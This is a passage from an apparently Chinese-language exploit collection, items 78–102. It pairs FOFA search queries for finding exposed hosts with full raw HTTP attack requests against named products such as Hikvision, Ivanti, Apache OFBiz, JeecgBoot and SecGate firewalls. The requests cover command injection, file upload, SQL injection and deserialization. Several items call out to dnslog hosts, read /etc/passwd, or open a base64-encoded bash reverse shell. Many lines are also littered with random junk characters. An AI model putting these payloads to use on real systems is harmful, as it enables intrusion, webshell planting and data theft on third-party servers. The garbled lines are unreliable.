POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
. d, n5 p+ W& T2 T+ f% sContent-Length: 433
4 ?) V% \  e1 }! ^5 \" l# _/ y' iAccept: */*
Accept-Encoding: gzip, deflate
0 L2 h9 E; Q5 [& l6 d) K0 Y. Q3 U! OAccept-Language: zh-CN,zh;q=0.9
; A. |' B- M! j1 \. z0 c9 ]Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
# i9 n, ~* |5 t1 s6 w8 S: \
+ T& g0 u1 K6 E+ V- P) q% `. S------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
8 k* k( t' M0 B, i
  L: K. {$ N+ k0 |/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
6 e! n/ S% G* w4 I2 X9 fContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
* |* L, T) A% I) @Content-Type: application/octet-stream

hello1234567
5 s& i/ E8 X: n4 u; R% L% |7 K------------398jnjVTTlDVXHlE7yYnfwBoix
3 C' X* S8 {- }  iContent-Disposition: form-data; name="Upload"

1 G0 t1 k& O. V% C7 d: l* `% U) U! r6 zSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
* T: S) x9 C/ v5 a- [FOFA：icon_hash="2001627082"
3 G  j7 D1 G; }- u: F& u% W: tPOST /Platform/System/FileUpload.ashx HTTP/1.1
9 u) S% ^" x' x; u* s% ~Host: x.x.x.x
, q1 r2 S5 [/ l1 l9 d& RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 K# Q* u1 W' h# b% K; a/ TConnection: close
, [# b1 A  R) R  W4 n; NContent-Length: 336
4 e( b# \& N! i0 w& U% W* yAccept-Encoding: gzip
0 |% o% m+ @: k% uContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
5 }% @; B+ r" s8 L# P( m
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
7 l  i5 Q! ~" k- p% W& `Content-Type: image/png
7 J, I) t% R" m1 i1 V$ g# ^* @: }
YsOxWxSvj1KyZow1PTsh98fdu6l
8 h# j; V. k1 ]3 A: g: Q------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
' V2 u9 q  O1 X1 ~------YsOxWxSvj1KyZow1PTsh98fdu6l--
* V, F6 u% {: @6 [+ Y# G8 f! V

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
$ ^( j# A4 B( Q  \  o& {# s! p" w

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
  L4 G) X) v  e) L# Q* e. jGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
) M2 E& q3 p  x; F4 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
& E7 n  ]3 G" u5 M" a; q3 h9 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 O" s# S5 Y; D* M9 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 [- N1 k9 H& A8 BAccept-Encoding: gzip, deflate
- e* D* s3 \. x. `4 \; GConnection: close
7 X- A  L' {( K. W* @Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
8 |1 J. h9 ^7 F1 M! p! bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* V7 ^, `6 S, y  O; pContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
6 D9 A, q4 u$ n3 H4 u2 U8 }8 ?0 Q
<% out.print("oessqeonylzaf");%>
: d% }, ?# w5 ?" K: `( ^- H  P
! I' b+ a. |# s4 F
& R. c! n- {; V( ?4 {5 MGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
/ N% E) e" T4 }- o/ VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ L! ]* K, ]# n: m6 WConnection: close
* x  e, l& P2 e! ^Accept-Encoding: gzip
' F8 k; V9 ?( d* N

: O2 ?% D$ K/ z0 T81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
# f, R# p! C. W; `0 O. \FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 G" z+ @  j9 C8 xAccept-Encoding: gzip

- `# E% V3 l7 u
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
9 Y" |( u* ]2 m6 IHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
* d6 r. X" ^4 G! KReferer: BaseURL
/ I# v7 a/ V6 X! r& W) V0 J6 B
z1=1&z2="|id;"&z3=bhost

% p0 c, n9 J7 k% g) w9 C" Y  Z
83. JeecgBoot testConnection 远程命令执行
) s1 H6 L/ ?- S* {. y9 ]/ U8 t9 \FOFA：title=="JeecgBoot 企业级低代码平台"
; Q2 l( [  [5 r) y) q

POST /jmreport/testConnection HTTP/1.1
2 }9 [9 I/ \# w# H7 K0 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ L$ Q" ]- V4 AContent-Length: 8881
Accept-Encoding: gzip
7 Z, q+ B, S8 f3 wCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
% E! F/ a" i2 G) RContent-Type: application/json
# ?1 q/ ^0 i# C/ J8 F
5 }& G; _' [8 N" b  UPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
, q  u( L& B% a" ?3 r7 e
! s( }$ V4 J) R; |+ p; L# F) d% V
5 J+ X7 m* K. M
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
; y. `& k9 e( i0 d9 Y2 R& D: `Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
, N- {  n4 @& oAccept: */*
Connection: close
2 d0 T  R  R9 n4 v. h# JContent-Type: application/json
5 }$ h0 B9 j9 k, |0 rAccept-Encoding: gzip
& q% p3 _# F5 G' C' d- E  N
; [, ^/ }6 ^- w$ e% O) i, N{
9 w, f8 }4 [1 H  u4 h& U! f% v2 A "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
3 ?7 U1 _: u! H  "type": "0"
}
- H2 [/ ?6 J/ E0 K- @* _& X

85. SysAid On-premise< 23.3.36远程代码执行
! K3 O1 M7 _# r' I: }8 i: MCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
) R, A1 z; J) Q- l% e* }POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
2 w& U& P- |8 A: S* U; cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
2 ]0 ^7 {. k5 k6 f6 w- f
PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
  [. K5 ?, x( n# ?POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
. N& L" ]/ _  t! F4 P& _, ZUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
9 z4 _% |, n: {$ C4 r& Q$ D- b  FConnection: close
# q9 R) W! [9 j) Y. J7 dContent-Length: 44
8 J& E5 k3 f$ q6 ?! m  a9 K( K& E. TAccept: */*
Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

5 P! q4 Q' ~- y3 @; o7 H
- a; }+ a# ^( |/ @2 Y: T$ {% z1 g87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 `) D9 |( e4 |1 \- ]Content-Length: 198
' C6 \" Z* Y# v2 x2 bAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

2 D4 w! O3 @9 H9 D--qqobiandqgawlxodfiisporjwravxtvd
: r6 l* K# ]* Y. VContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
" e0 W. h0 v) C0 VContent-Type: text/plain
2 Y: b& E4 a  s$ ~3 Q# u6 p
! @0 g/ x( Q5 S/ O! h2ZqGNnsjzzU2GBBPyd8AIA7QlDq
" v8 S% T# V+ W4 M1 S/ X) g! H--qqobiandqgawlxodfiisporjwravxtvd--
+ D/ t0 k. ]% Z/ }! }
# Y1 @3 v. E- b& G3 S- P8 w  ?. q& \
1 g6 A" A; l7 T; `  Z6 K$ b8 ?& a/jfhatuwe.php

2 f, I) \3 H. j- L# I; P88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 h# w/ x1 T3 X  C( k- l' F% |FOFA：title="明御安全网关"
4 ]  p" l3 Y  }GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# j. c+ \/ x8 o/ `/ B% ~" W) ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 `7 N6 o" o8 y$ j  {. ?0 E: vConnection: close
, W0 a- n8 s% x! V
8 _1 z% d9 w7 m0 e" g0 H3 [1 b6 Z
/astdfkhl.php

% V2 ]3 a$ D$ a4 `2 M- d: o7 a# Z89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
( A, M2 k( ]% q* f- D0 k$ aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  ^9 f* H3 R$ z5 D0 T: HConnection: close
; f. c& q; P7 N7 W% U4 wContent-Length: 41
9 Q- _5 _) _+ gContent-Type: application/x-www-form-urlencoded
3 q9 D) M6 n' @Accept-Encoding: gzip
3 \( v! ^' \3 m" i& `3 F- y
option=2&GUID=-1'+union+select+111*222--+
* `( @, k3 G. |4 q, W" q/ o

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
& x/ g) D9 \" Z$ K( s9 sHost: x.x.x.x
- d; V  x. i5 y  _' ~$ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
  e( P% ^& z( a; p; k, sAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
3 {, }# m+ w/ tX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
$ T* P: ^/ d$ q3 _8 |" }% w( a/ z' l

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
' m0 |8 i$ J- d1 u. P- {FOFA：title="综合安防管理平台"
, J; D. o; f! e: W( t  WGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
4 [/ S  |8 G. G8 B' kHost: your-ip
6 A2 }0 Q8 F4 m0 Y  f/ _) AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% [: ]% y0 ^, T  A) \Accept-Encoding: gzip, deflate
Accept: */*
9 |) a" U8 D/ q1 [- N- _" `& `Connection: keep-alive
0 v; u& |$ P4 A+ Z+ s1 Z

' F' _; x: _5 K. c5 y
9 a6 O* g0 P& f; N& v92. 海康威视运行管理中心session命令执行
Fastjson命令执行
9 I4 |; S/ E$ phunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
/ M$ ?$ S3 D& Z' }0 G2 h" C( a0 qPOST /center/api/session HTTP/1.1
1 m4 |5 E' Y& a/ d, c1 Y3 |  u/ pHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
+ a. ], O  O9 B( p5 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 k* g+ r2 @% e& a. KAccept-Language: zh-CN,zh;q=0.9
# e7 ]$ ~' u6 a! }Content-Length: 5778

" F4 P/ g* p8 c% N2 b3 x( Q( DPAYLOAD

1 s1 q( n& r( |2 u( C8 Y
9 n. n4 f+ z4 x3 `6 @) w/ a93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
6 H! w8 c* Z. V, o3 s- c4 lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

4 y1 w& q& q6 ]' t! f------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
# w, Z7 ]' K: K; v3 }) F------WebKitFormBoundarykcbkgdfx
  x) a4 {3 t) OContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

/ B, i1 v# F$ \# b- E( \wagletqrkwrddkthtulxsqrphulnknxa
9 z2 G3 B; Q! F% |. ?4 ^( F! L------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"
# z2 h" N, S# x9 ]
  m; a0 S) Y+ ~+ b8 L* B& Zobj_app_upfile
& @- t6 n) Z: G1 @4 [1 x------WebKitFormBoundarykcbkgdfx
, _5 a$ Y' a4 @1 i$ ~* fContent-Disposition: form-data; name="__hash__"
7 H$ F/ [0 D1 ?, G# {" j& E5 d
5 t( [8 A9 C! ?- q' D7 [0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

' Q  Q  d; ^' b2 Z7 t
! A" G6 f. K1 f. P6 lGET /attachements/xlskxknxa.txt HTTP/1.1
; P2 V6 u( E) V' b, [' FHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

& T5 W$ O' ^+ @1 u* q' E! M
# g) j. P4 [. J6 i+ m/ X94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
: ?. {; ?$ M* W7 v4 m' oFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
$ S# K! H: u. \. v. P& M' jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
/ m4 I; [* ^. f9 J7 g" W------WebKitFormBoundarybqvzqvmt
& P. o; y6 @" d. F5 OContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
& ~9 M5 C# ?$ D, }, j$ m% P  pContent-Type: text/plain
( }& r1 y+ b3 [- U0 G9 Z
pxplitttsrjnyoafavcajwkvhxindhmu
1 `- k' S1 z6 x------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
! z1 b* Y3 P9 DContent-Disposition: form-data; name="__hash__"
+ x" X8 g: a  m+ M# j( M
( k$ N- H! \* g8 L! q4 N2 \0b9d6b1ab7479ab69d9f71b05e0e9445
) e( E* d3 k" k8 e7 D3 K: L------WebKitFormBoundarybqvzqvmt--


- z0 h( H" D% Z1 m
* b' Z2 s, O5 G& [* M0 C& y' w5 {GET /attachements/xlskxknxa.txt HTTP/1.1
0 T7 R0 v0 V, PHost: xx.xx.xx.xx
2 ?) j# e% E' gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% C8 o" ~5 R% w1 q9 G7 B8 }

5 t% e1 h2 b: a* i- Q
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
) N: F: t( N8 P" i/ `& e/ LPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
; Q; U! x0 i1 x; y. O6 }6 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, C9 R% \0 ]; C# N9 aConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
- d7 k) V8 z' a+ C$ ?) J<methodCall>
' W' E% B- W- {2 n# a# ^6 Q! c2 J   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
7 B+ ]: m  s- ?6 }  P2 {9 J    <params>
      <param>
* K3 v3 {5 l2 v! ]5 I      <value>
        <struct>
       <member>
% D, A# Y, m/ e8 Y5 j# p          <name>test</name>
          <value>
" a7 S% s2 g( U2 t8 t      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
# i4 Y  b! h% a. h6 `          </value>
        </member>
: G+ h3 G8 T1 z      </struct>
      </value>
    </param>
8 \: N# L1 i3 U5 ~; v; B- ~+ _+ _    </params>
' H; L5 O* E" T5 a# a</methodCall>
/ ]( ^1 ]# M) R2 T' ?. n1 M
* P+ k: z6 n+ g  t7 I; s
* G; r6 {2 K% L; g0 j. V1 u用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
" B2 w4 R& }% c- ?; N9 y  z
5 ~0 V7 v0 N8 `% J3 f1 ?& S
将生成的payload替换到上面的POC
7 D* x+ ?2 G1 e+ Z6 M; G# T" nPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
* M  G1 ^8 X& X6 CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" C4 ]  C8 i) y( w' A4 dContent-Length: 889
Content-Type: application/xml
$ E% Q8 x5 `7 a4 d' l! XAccept-Encoding: gzip
8 e7 v; @9 R& {
: c0 m8 C# k  Z: I" p: E% \PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
: `. v7 O4 V; v8 pHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. k0 G" O( c' e+ [+ eContent-Type: application/x-www-form-urlencoded
Content-Length: 55
0 M! D0 ?4 U- Y+ {, |% E
groovyProgram=throw+new+Exception('id'.execute().text);
2 a, m: B1 L) V2 h8 c- [

& f1 `. j# b( Y" [$ h% W2 R% C反弹shell
在kali上启动一个监听
nc -lvp 7777
5 c2 ^, w; {' {! e" t/ ?
8 d3 w* ?/ O" ?$ c. k; k) ]POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
) V6 @1 x& q, N5 w6 R" K' |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
9 }2 i" U7 u! a+ h* S7 w& |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- [" X3 E" @6 F4 O" d! W8 FContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
- z" t+ O2 x$ `9 b" E9 T1 aFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
1 t5 {: w- Q6 A" ?4 gGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
: N. |4 R* u; i6 W" |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 X) K0 _9 @9 L5 YAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
$ x7 H. U% _0 U" y" J1 t0 z4 V- NX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
; T9 P( P2 L0 t3 {! i5 g0 R
; E8 E( J0 x1 `2 `" z
0 A; n) v5 z8 ?8 i8 [' J9 t98. SpiderFlow爬虫平台远程命令执行
* c4 y. v# ]) h2 f, k' wCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
% W3 G& L6 d+ F( G5 aHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  r5 N2 ]2 s4 I! ]9 d, QConnection: close
# h8 q$ a& z7 i% L$ `* _* @1 V1 m/ vContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ R" P. L$ i' J% O: QContent-Type: application/x-www-form-urlencoded; charset=UTF-8
$ T7 G. k: @5 c( E& f  }) DX-Requested-With: XMLHttpRequest

9 K( q4 A* ?9 Z' eid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
5 R+ [& J5 T0 W( {: L# @

99. Ncast盈可视高清智能录播系统busiFacade RCE
2 H% S5 j1 q9 _7 m& PCVE-2024-0305
( J! M4 h& g8 b! @& |: RFOFA：app="Ncast-产品" && title=="高清智能录播系统"
; v# f0 ?9 m- r3 pPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 D5 ^" @( r0 v) RConnection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
- X( X% J  w7 M3 b5 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
" K2 O" A- T/ c+ S6 |+ k5 f" _CVE-2024-0352
  T, b+ K8 a# s) y6 j- ?, uFOFA：icon_hash="874152924"
7 q/ g! M2 c1 y' N' FPOST /api/file/formimage HTTP/1.1
5 S) N2 S' I/ n, @Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! l1 ]  R8 f* N. Y! p+ C  t' g) PConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
# g: _; C9 a& M: q+ r* F: j" FContent-Disposition: form-data; name="file";filename="IE4MGP.php"
. m4 }4 ~: k4 S% lContent-Type: application/x-php

$ i0 Q  @$ `( I, K1 L& b0 X2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

, J% N, T; b# T4 O( O( r
8 y) O1 B1 p* F+ b, c3 I101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
/ q0 T( C" }$ V8 f( ?! C( O/ [9 R2 cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 {9 ?! {2 ~" |/ BConnection: close
Accept-Encoding: gzip

9 x2 v, s/ K3 C
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
" u7 p3 B1 r  ?) d5 [# s- {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
7 |) d2 w: }7 o% f% m* R4 PConnection: close
Content-Length: 792
( x( i; g  l6 E$ S4 s' q' O& w- A- OAccept-Encoding: gzip

0 f* c; T6 o! k0 b<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

